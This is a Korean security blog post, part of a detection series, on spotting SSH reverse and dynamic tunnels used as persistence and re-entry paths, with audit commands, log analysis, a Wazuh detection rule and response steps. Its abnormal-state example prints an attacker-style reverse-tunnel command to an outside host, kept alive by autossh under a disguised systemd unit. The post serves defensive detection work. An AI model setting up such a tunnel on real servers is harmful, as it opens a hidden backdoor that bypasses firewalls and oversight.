433. 지속성·재침투 — SSH 터널·포트 포워딩 재침투 경로 탐지

changseop lee·2026년 10월 9일

시스템 보안 · 취약점

목록 보기
433/450

시스템 보안 · 취약점 › I. 지속성 · 재침투 징후 · 33/50편 (전체 433/450)
학습 단계: 백도어·재침투 경로 탐지
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

SSH 터널은 정상 관리 도구이지만, 공격자가 쓰면 방화벽을 우회하는 재침투 통로가 됩니다(T1572). 특히 내부 서버가 외부 서버로 ssh -R을 걸어 두면, 공격자는 외부 서버를 통해 내부로 들어올 수 있습니다.

SSH 터널 재침투 유형
 ① 역방향 터널(-R) : 내부서버 → 외부:22 연결, 외부:2222 → 내부:22 전달
 ② 동적 터널(-D)   : SOCKS 프록시로 내부망 전체 접근
 ③ 지속 터널       : autossh·systemd·cron으로 끊기면 재연결
 ④ 서버 측        : AllowTcpForwarding·GatewayPorts 허용 변경
 흔적: ssh 프로세스 인자(-R/-D/-N/-f), 장시간 ESTABLISHED, 외부 22번 연결

핵심: 서버가 "클라이언트로서" 밖으로 ssh를 거는 것 자체가 이상 신호

일반 서버는 SSH 접속을 받는 쪽이지 거는 쪽이 아닙니다. 서버에서 외부로 나가는 장시간 ssh 연결은 터널을 의심해야 합니다.

2. 왜 중요한가

  • 역방향 터널은 인바운드 방화벽 정책을 완전히 우회합니다.
  • SSH 트래픽은 암호화되고 정상 관리 트래픽과 비슷해 보입니다.
  • autossh·systemd와 결합하면 끊어도 자동으로 다시 연결됩니다.

3. 핵심 명령어 / 설정

확인명령포인트
ssh 클라이언트ps -eo pid,ppid,etime,args | grep '[s]sh '-R/-D/-N 인자
외부 연결ss -tnp | grep ':22 '서버발 외부 22
서버 설정sshd -T | grep -iE 'allowtcpforwarding|gatewayports'허용 여부
포워딩 로그grep -i 'forward' /var/log/secure요청 기록

4. 실습 (실습 예시)

# SSH 터널 점검 (분석 방법)
ps -eo pid,ppid,user,etime,args | grep -E '[s]sh .*-[A-Za-z]*[RDLNf]|[a]utossh'
sudo ss -tnp | awk '$5 ~ /:22$/ && $4 !~ /:22$/'   # 이 서버가 클라이언트인 SSH 연결
sudo sshd -T | grep -iE '^(allowtcpforwarding|gatewayports|permittunnel) '
sudo grep -iE 'forward|tunnel' /var/log/secure | tail

5. 정상 상태

ssh 클라이언트 프로세스: 없음
allowtcpforwarding no / gatewayports no

서버에서 외부로 나가는 ssh 클라이언트 연결이 없고, 서버 측 포워딩이 꺼져 있는 상태가 정상입니다.

6. 이상 상태

pid=7011 user=webadmin etime=3-02:11:05 args=ssh -N -f -R 2222:localhost:22 tun@198.51.100.7
ppid=autossh (systemd 유닛 net-sync.service)
ESTAB 10.10.2.15:51022 → 198.51.100.7:22
  • -R 역방향 터널을 3일 넘게 유지 → 외부에서 내부 22번 접근 가능
  • autossh + systemd 유닛 → 끊겨도 자동 재연결(지속성)
  • 외부 서버가 공격자 인프라 → 방화벽 우회 재침투 통로

7. 로그 분석 (분석 방법)

SSH 터널 분석 흐름입니다(가상의 예시).

[서버발 ssh] 프로세스 인자 · 외부 22 연결
   ↓
[터널 종류] -R(역방향) · -D(SOCKS) · -L(정방향)
   ↓
[지속 장치] 부모(autossh·systemd·cron) 확인
   ↓
[사용 흔적] 터널을 통한 로그인(출발지 127.0.0.1의 sshd 로그인)
신호해석
-R + -N명령 없이 터널만 유지
장시간 etime상시 통로
127.0.0.1 출발 로그인터널 경유 접속

역방향 터널로 들어온 접속은 sshd 로그에 출발지 127.0.0.1(또는 ::1)로 남습니다. 서버 콘솔 작업이 없는데 로컬 출발 로그인이 있다면 터널 사용을 강하게 의심합니다.

8. SOC 관제 포인트

  • 서버 대역에서 외부로 나가는 TCP 22를 기본 차단하고 차단 로그를 감시합니다.
  • ssh 클라이언트 실행(특히 -R/-D 인자)을 execve 감사로 탐지합니다.
  • 127.0.0.1 출발 SSH 로그인을 별도 Alert로 둡니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_i,persistence,">
  <rule id="108320" level="13">
    <if_sid>108000</if_sid>
    <field name="audit.key">exec_persist</field>
    <field name="audit.exe" type="pcre2">/(ssh|autossh)$</field>
    <field name="audit.execve.a1" type="pcre2">^-[A-Za-z]*[RD]</field>
    <description>서버에서 역방향·동적 SSH 터널 생성(재침투 통로 의심)</description>
    <mitre><id>T1572</id></mitre>
  </rule>
</group>

ssh 실행 인자에 -R·-D가 포함되면 경보합니다. 인자 위치가 바뀔 수 있으므로 실제 운영에서는 a1~a4를 함께 검사하거나 proctitle 전체를 대상으로 매칭합니다.

10. 대응 방법

  1. 초기 확인 — 터널 종류·목적지·유지 기간과 지속 장치를 확인합니다.
  2. 범위 확인 — 터널을 경유한 로그인과 행위를 확인합니다.
  3. 증거 확보 — 프로세스 인자·연결 정보·관련 유닛 파일을 보존합니다.
  4. 차단/조치 — 터널 프로세스·지속 장치를 제거하고 목적지를 차단하며 서버 포워딩 설정을 끕니다.
  5. 재발 방지 — 서버발 SSH 기본 차단과 터널 인자 감사를 운영합니다.

11. 핵심 정리

유형확인
역방향(-R)외부 → 내부 통로
동적(-D)SOCKS 프록시
지속autossh·systemd
사용 흔적127.0.0.1 출발 로그인
면접 포인트"서버가 밖으로 ssh를 건다 — -R 터널은 방화벽을 거꾸로 통과하는 뒷문"

12. 다음 편 예고

다음 편 434. 지속성·재침투 — 신뢰 관계 악용 재침투 탐지 에서는 .rhosts·hosts.equiv·SSH agent 포워딩·known_hosts 등 호스트 간 신뢰 관계를 악용한 재침투·재진입 경로를 탐지하는 방법을 다룹니다.


이전 편: 432. 지속성·재침투 — C2 비컨 재연결 패턴 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글